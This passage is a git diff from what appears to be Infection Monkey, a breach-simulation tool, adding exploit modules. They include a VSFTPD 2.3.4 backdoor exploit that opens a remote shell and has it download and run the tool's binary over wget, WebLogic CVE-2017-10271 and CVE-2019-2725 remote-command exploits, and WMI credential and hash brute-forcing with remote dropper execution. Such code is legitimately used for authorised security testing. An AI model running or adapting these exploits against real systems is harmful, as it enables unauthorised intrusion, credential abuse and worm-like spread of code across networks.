+ @staticmethod
+ def execute_rpc_call(smb, rpc_func, *args):
+ dce = SmbTools.get_dce_bind(smb)
+ rpc_method_wrapper = getattr(srvs, rpc_func, None)
+ if not rpc_method_wrapper:
+ raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
+
+ return rpc_method_wrapper(dce, *args)
+
+ @staticmethod
+ def get_dce_bind(smb):
+ rpctransport = transport.SMBTransport(smb.getRemoteHost(),
+ smb.getRemoteHost(),
+ filename=r'\srvsvc',
+ smb_connection=smb)
+ dce = rpctransport.get_dce_rpc()
+ dce.connect()
+ dce.bind(srvs.MSRPC_UUID_SRVS)
+
+ return dce
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
new file mode 100644
index 000000000..abbb9f936
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -0,0 +1,150 @@
+import logging
+
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+from impacket.dcerpc.v5.dtypes import NULL
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class DceRpcException(Exception):
+ pass
+
+
+class AccessDeniedException(Exception):
+ def __init__(self, host, username, password, domain):
+ super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
+ (host, domain, username, password))
+
+
+class WmiTools(object):
+ class WmiConnection(object):
+ def __init__(self):
+ self._dcom = None
+ self._iWbemServices = None
+
+ @property
+ def connected(self):
+ return self._dcom is not None
+
+ def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
+ if not domain:
+ domain = host.ip_addr
+
+ dcom = DCOMConnection(host.ip_addr,
+ username=username,
+ password=password,
+ domain=domain,
+ lmhash=lmhash,
+ nthash=nthash,
+ oxidResolver=True)
+
+ try:
+ iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
+ wmi.IID_IWbemLevel1Login)
+ except Exception as exc:
+ dcom.disconnect()
+
+ if "rpc_s_access_denied" == exc.message:
+ raise AccessDeniedException(host, username, password, domain)
+
+ raise
+
+ iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+
+ try:
+ self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+ self._dcom = dcom
+ except:
+ dcom.disconnect()
+
+ raise
+ finally:
+ iWbemLevel1Login.RemRelease()
+
+ def close(self):
+ assert self.connected, "WmiConnection isn't connected"
+
+ self._iWbemServices.RemRelease()
+ self._iWbemServices = None
+
+ self._dcom.disconnect()
+ self._dcom = None
+
+ @staticmethod
+ def dcom_wrap(func):
+ def _wrapper(*args, **kwarg):
+ try:
+ return func(*args, **kwarg)
+ finally:
+ WmiTools.dcom_cleanup()
+
+ return _wrapper
+
+ @staticmethod
+ def dcom_cleanup():
+ for port_map in DCOMConnection.PORTMAPS.keys():
+ del DCOMConnection.PORTMAPS[port_map]
+ for oid_set in DCOMConnection.OID_SET.keys():
+ del DCOMConnection.OID_SET[port_map]
+
+ DCOMConnection.OID_SET = {}
+ DCOMConnection.PORTMAPS = {}
+ if DCOMConnection.PINGTIMER:
+ DCOMConnection.PINGTIMER.cancel()
+ DCOMConnection.PINGTIMER.join()
+ DCOMConnection.PINGTIMER = None
+
+ @staticmethod
+ def get_object(wmi_connection, object_name):
+ assert isinstance(wmi_connection, WmiTools.WmiConnection)
+ assert wmi_connection.connected, "WmiConnection isn't connected"
+
+ return wmi_connection._iWbemServices.GetObject(object_name)[0]
+
+ @staticmethod
+ def list_object(wmi_connection, object_name, fields=None, where=None):
+ assert isinstance(wmi_connection, WmiTools.WmiConnection)
+ assert wmi_connection.connected, "WmiConnection isn't connected"
+
+ if fields:
+ fields_query = ",".join(fields)
+ else:
+ fields_query = "*"
+
+ wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
+
+ if where:
+ wql_query += " WHERE %s" % (where,)
+
+ LOG.debug("Execution WQL query: %r", wql_query)
+
+ iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
+
+ query = []
+ try:
+ while True:
+ try:
+ next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
+ record = next_item.getProperties()
+
+ if not fields:
+ fields = record.keys()
+
+ query_record = {}
+ for key in fields:
+ query_record[key] = record[key]['value']
+
+ query.append(query_record)
+ except DCERPCSessionError as exc:
+ if 1 == exc.error_code:
+ break
+
+ raise
+ finally:
+ iEnumWbemClassObject.RemRelease()
+
+ return query
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
new file mode 100644
index 000000000..744853bdf
--- /dev/null
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -0,0 +1,149 @@
+"""
+ Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
+ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+ only vulnerable version is "2.3.4"
+"""
+
+import socket
+import time
+
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
+from logging import getLogger
+
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
+
+LOG = getLogger(__name__)
+
+__author__ = 'D3fa1t'
+
+FTP_PORT = 21 # port at which vsftpd runs
+BACKDOOR_PORT = 6200 # backdoor port
+RECV_128 = 128 # In Bytes
+UNAME_M = "uname -m"
+ULIMIT_V = "ulimit -v " # To increase the memory limit
+UNLIMITED = "unlimited;"
+USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
+PASSWORD = b'PASS please' # Ftp Password
+FTP_TIME_BUFFER = 1 # In seconds
+
+
+class VSFTPDExploiter(HostExploiter):
+ _TARGET_OS_TYPE = ['linux']
+ _EXPLOITED_SERVICE = 'VSFTPD'
+
+ def __init__(self, host):
+ self._update_timestamp = 0
+ super(VSFTPDExploiter, self).__init__(host)
+ self.skip_exist = self._config.skip_exploit_if_file_exist
+
+ def socket_connect(self, s, ip_addr, port):
+ try:
+ s.connect((ip_addr, port))
+ return True
+ except socket.error as e:
+ LOG.error('Failed to connect to %s', self.host.ip_addr)
+ return False
+
+ def socket_send_recv(self, s, message):
+ try:
+ s.send(message)
+ return s.recv(RECV_128).decode('utf-8')
+ except socket.error as e:
+ LOG.error('Failed to send payload to %s', self.host.ip_addr)
+ return False
+
+ def socket_send(self, s, message):
+ try:
+ s.send(message)
+ return True
+ except socket.error as e:
+ LOG.error('Failed to send payload to %s', self.host.ip_addr)
+ return False
+
+ def _exploit_host(self):
+ LOG.info("Attempting to trigger the Backdoor..")
+ ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
+ ftp_socket.recv(RECV_128).decode('utf-8')
+
+ if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
+ time.sleep(FTP_TIME_BUFFER)
+ self.socket_send(ftp_socket, PASSWORD + '\n')
+ ftp_socket.close()
+ LOG.info('Backdoor Enabled, Now we can run commands')
+ else:
+ LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
+ return False
+
+ LOG.info('Attempting to connect to backdoor...')
+ backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
+ LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
+
+ uname_m = str.encode(UNAME_M + '\n')
+ response = self.socket_send_recv(backdoor_socket, uname_m)
+
+ if response:
+ LOG.info('Response for uname -m: %s', response)
+ if '' != response.lower().strip():
+ # command execution is successful
+ self.host.os['machine'] = response.lower().strip()
+ self.host.os['type'] = 'linux'
+ else:
+ LOG.info("Failed to execute command uname -m on victim %r ", self.host)
+
+ src_path = get_target_monkey(self.host)
+ LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
+
+ if not src_path:
+ LOG.info("Can't find suitable monkey executable for host %r", self.host)
+ return False
+
+ # Create a http server to host the monkey
+ http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
+ dropper_target_path_linux = self._config.dropper_target_path_linux
+ LOG.info("Download link for monkey is %s", http_path)
+
+ # Upload the monkey to the machine
+ monkey_path = dropper_target_path_linux
+ download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
+ download_command = str.encode(str(download_command) + '\n')
+ LOG.info("Download command is %s", download_command)
+ if self.socket_send(backdoor_socket, download_command):
+ LOG.info('Monkey is now Downloaded ')
+ else:
+ LOG.error('Failed to download monkey at %s', self.host.ip_addr)
+ return False
+
+ http_thread.join(DOWNLOAD_TIMEOUT)
+ http_thread.stop()
+
+ # Change permissions
+ change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
+ change_permission = str.encode(str(change_permission) + '\n')
+ LOG.info("change_permission command is %s", change_permission)
+ backdoor_socket.send(change_permission)
+ T1222Telem(ScanStatus.USED, change_permission, self.host).send()
+
+ # Run monkey on the machine
+ parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+ run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
+
+ # Set unlimited to memory
+ # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
+ run_monkey = ULIMIT_V + UNLIMITED + run_monkey
+ run_monkey = str.encode(str(run_monkey) + '\n')
+ time.sleep(FTP_TIME_BUFFER)
+ if backdoor_socket.send(run_monkey):
+ LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
+ self.host, run_monkey)
+ self.add_executed_cmd(run_monkey)
+ return True
+ else:
+ return False
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 945e45f5d..5f408af79 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -5,8 +5,12 @@ from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
-from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
+from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
+from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'VakarisZ'
@@ -64,7 +68,7 @@ class WebRCE(HostExploiter):
return exploit_config
- def exploit_host(self):
+ def _exploit_host(self):
"""
Method that contains default exploitation workflow
:return: True if exploited, False otherwise
@@ -207,13 +211,12 @@ class WebRCE(HostExploiter):
"""
for url in urls:
if self.check_if_exploitable(url):
+ self.add_vuln_url(url)
self.vulnerable_urls.append(url)
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
- # We add urls to param used in reporting
- self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url):
"""
@@ -306,7 +309,8 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
- backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+ backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+ T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp
@@ -336,7 +340,7 @@ class WebRCE(HostExploiter):
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
-
+ self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
@@ -364,8 +368,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
+ T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
+ T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if type(resp) is bool:
@@ -406,6 +412,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
+ self.add_executed_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
@@ -418,6 +425,8 @@ class WebRCE(HostExploiter):
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
+
+ self.add_executed_cmd(command)
return resp
def get_monkey_upload_path(self, url_to_monkey):
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 6d0748426..e1ceb29fd 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -1,3 +1,50 @@
+from __future__ import print_function
+import threading
+import logging
+import time
+import copy
+
+from requests import post, exceptions
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.network.info import get_free_tcp_port
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+# How long server waits for get request in seconds
+SERVER_TIMEOUT = 4
+# How long should we wait after each request in seconds
+REQUEST_DELAY = 0.1
+# How long to wait for a sign(request from host) that server is vulnerable. In seconds
+REQUEST_TIMEOUT = 5
+# How long to wait for response in exploitation. In seconds
+EXECUTION_TIMEOUT = 15
+# Malicious requests' headers:
+HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+}
+
+
+class WebLogicExploiter(HostExploiter):
+
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Weblogic'
+
+ def _exploit_host(self):
+ exploiters = [WebLogic20192725, WebLogic201710271]
+ for exploiter in exploiters:
+ if exploiter(self.host).exploit_host():
+ return True
+
+
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
@@ -5,56 +52,29 @@
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
+class WebLogic201710271(WebRCE):
+ URLS = ["/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11"]
-from requests import post, exceptions
-from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
-from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
-
-import threading
-import logging
-import time
-
-__author__ = "VakarisZ"
-
-LOG = logging.getLogger(__name__)
-# How long server waits for get request in seconds
-SERVER_TIMEOUT = 4
-# How long should be wait after each request in seconds
-REQUEST_DELAY = 0.0001
-# How long to wait for a sign(request from host) that server is vulnerable. In seconds
-REQUEST_TIMEOUT = 5
-# How long to wait for response in exploitation. In seconds
-EXECUTION_TIMEOUT = 15
-URLS = ["/wls-wsat/CoordinatorPortType",
- "/wls-wsat/CoordinatorPortType11",
- "/wls-wsat/ParticipantPortType",
- "/wls-wsat/ParticipantPortType11",
- "/wls-wsat/RegistrationPortTypeRPC",
- "/wls-wsat/RegistrationPortTypeRPC11",
- "/wls-wsat/RegistrationRequesterPortType",
- "/wls-wsat/RegistrationRequesterPortType11"]
-# Malicious request's headers:
-HEADERS = {
- "Content-Type": "text/xml;charset=UTF-8",
- "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
- "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
- }
-
-
-class WebLogicExploiter(WebRCE):
- _TARGET_OS_TYPE = ['linux', 'windows']
+ _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
+ _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
- super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
+ super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
- exploit_config = super(WebLogicExploiter, self).get_exploit_config()
+ exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
- exploit_config['url_extensions'] = URLS
+ exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config
def exploit(self, url, command):
@@ -65,8 +85,9 @@ class WebLogicExploiter(WebRCE):
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
- print('[!] Connection Error')
- print(e)
+ LOG.error("Connection error: %s" % e)
+ return False
+
return True
def add_vulnerable_urls(self, urls, stop_checking=False):
@@ -89,7 +110,7 @@ class WebLogicExploiter(WebRCE):
if httpd.get_requests > 0:
# Add all urls because we don't know which one is vulnerable
self.vulnerable_urls.extend(urls)
- self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
+ self.exploit_info['vulnerable_urls'] = self.vulnerable_urls
else:
LOG.info("No vulnerable urls found, skipping.")
@@ -194,6 +215,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
+
def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip
self.local_port = local_port
@@ -210,6 +232,7 @@ class WebLogicExploiter(WebRCE):
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
+
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
@@ -222,3 +245,88 @@ class WebLogicExploiter(WebRCE):
def stop(self):
self._stopped = True
+
+
+# Exploit based of:
+# Andres Rodriguez (acamro)
+# https://github.com/rapid7/metasploit-framework/pull/11780
+class WebLogic20192725(WebRCE):
+ URLS = ["_async/AsyncResponseServiceHttps"]
+ DELAY_BEFORE_EXPLOITING_SECONDS = 5
+
+ _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
+ _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
+
+ def __init__(self, host):
+ super(WebLogic20192725, self).__init__(host)
+
+ def get_exploit_config(self):
+ exploit_config = super(WebLogic20192725, self).get_exploit_config()
+ exploit_config['url_extensions'] = WebLogic20192725.URLS
+ exploit_config['blind_exploit'] = True
+ exploit_config['dropper'] = True
+ return exploit_config
+
+ def execute_remote_monkey(self, url, path, dropper=False):
+ # Without delay exploiter tries to launch monkey file that is still finishing up after downloading.
+ time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS)
+ super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper)
+
+ def exploit(self, url, command):
+ if 'linux' in self.host.os['type']:
+ payload = self.get_exploit_payload('/bin/sh', '-c', command)
+ else:
+ payload = self.get_exploit_payload('cmd', '/c', command)
+ try:
+ resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
+ return resp
+ except Exception as e:
+ LOG.error("Connection error: %s" % e)
+ return False
+
+ def check_if_exploitable(self, url):
+ headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
+ res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
+ if res.status_code == 500 and "env:Client" in res.text:
+ return True
+ else:
+ return False
+
+ @staticmethod
+ def get_exploit_payload(cmd_base, cmd_opt, command):
+ """
+ Formats the payload used to exploit weblogic servers
+ :param cmd_base: What command prompt to use eg. cmd
+ :param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
+ :param command: command itself
+ :return: Formatted payload
+ """
+ empty_payload = '''
+
+
+ xx
+ xx
+
+
+
+
+ {cmd_base}
+
+
+ {cmd_opt}
+
+
+ {cmd_payload}
+
+
+
+
+
+
+
+
+
+ '''
+ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
+ return payload
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 41b3820d5..2cf5010b2 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
-from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)
@@ -92,7 +92,7 @@ class SRVSVC_Exploit(object):
def get_telnet_port(self):
"""get_telnet_port()
-
+
The port on which the Telnet service will listen.
"""
@@ -100,7 +100,7 @@ class SRVSVC_Exploit(object):
def start(self):
"""start() -> socket
-
+
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
@@ -153,6 +153,7 @@ class SRVSVC_Exploit(object):
class Ms08_067_Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
+ _EXPLOITED_SERVICE = 'Microsoft Server Service'
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
@@ -174,7 +175,7 @@ class Ms08_067_Exploiter(HostExploiter):
self.host.os.get('version') in self._windows_versions.keys()
return False
- def exploit_host(self):
+ def _exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 66cc30fa9..947fd57a1 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -6,8 +6,11 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
+from infection_monkey.exploit.tools.helpers import get_target_monkey, \
get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
+from infection_monkey.exploit.tools.smb_tools import SmbTools
+from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
@@ -17,12 +20,13 @@ LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
+ _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
@WmiTools.dcom_wrap
- def exploit_host(self):
+ def _exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
@@ -32,8 +36,11 @@ class WmiExploiter(HostExploiter):
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds:
- LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ password_hashed = self._config.hash_sensitive_data(password)
+ lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
+ mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
+ creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
+ LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection()
@@ -41,25 +48,21 @@ class WmiExploiter(HostExploiter):
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
- LOG.debug("Failed connecting to %r using WMI with "
- "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
- LOG.debug("Failed connecting to %r using WMI with "
- "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
continue
except socket.error:
- LOG.debug("Network error in WMI connection to %r with "
- "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
- self.host, user, password, lm_hash, ntlm_hash)
+ LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging)
return False
except Exception as exc:
- LOG.debug("Unknown WMI connection error to %r with "
- "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
- self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
+ LOG.debug(
+ ("Unknown WMI connection error to %r with " % self.host)
+ + creds_for_logging
+ + (" (%s):\n%s" % (exc, traceback.format_exc()))
+ )
return False
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
@@ -90,7 +93,8 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
- build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
+ build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
@@ -103,6 +107,8 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
+
+ self.add_vuln_port(port='unknown')
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
@@ -111,7 +117,8 @@ class WmiExploiter(HostExploiter):
result.RemRelease()
wmi_connection.close()
-
+ self.add_executed_cmd(cmdline)
return success
return False
+
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 6e06d4aa6..71fd582af 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -7,8 +7,9 @@ import logging.config
import os
import sys
import traceback
+from multiprocessing import freeze_support
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
@@ -43,7 +44,7 @@ def main():
if 2 > len(sys.argv):
return True
-
+ freeze_support() # required for multiprocessing + pyinstaller on windows
monkey_mode = sys.argv[1]
if not (monkey_mode in [MONKEY_ARG, DROPPER_ARG]):
@@ -68,7 +69,7 @@ def main():
else:
print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
- print("Loaded Configuration: %r" % WormConfiguration.as_dict())
+ print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
# Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(
@@ -79,10 +80,10 @@ def main():
try:
if MONKEY_ARG == monkey_mode:
- log_path = utils.get_monkey_log_path()
+ log_path = get_monkey_log_path()
monkey_cls = InfectionMonkey
elif DROPPER_ARG == monkey_mode:
- log_path = utils.get_dropper_log_path()
+ log_path = get_dropper_log_path()
monkey_cls = MonkeyDrops
else:
return True
@@ -98,6 +99,7 @@ def main():
except OSError:
pass
LOG_CONFIG['handlers']['file']['filename'] = log_path
+ # noinspection PyUnresolvedReferences
LOG_CONFIG['root']['handlers'].append('file')
else:
del LOG_CONFIG['handlers']['file']
@@ -126,8 +128,8 @@ def main():
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
return True
- except Exception:
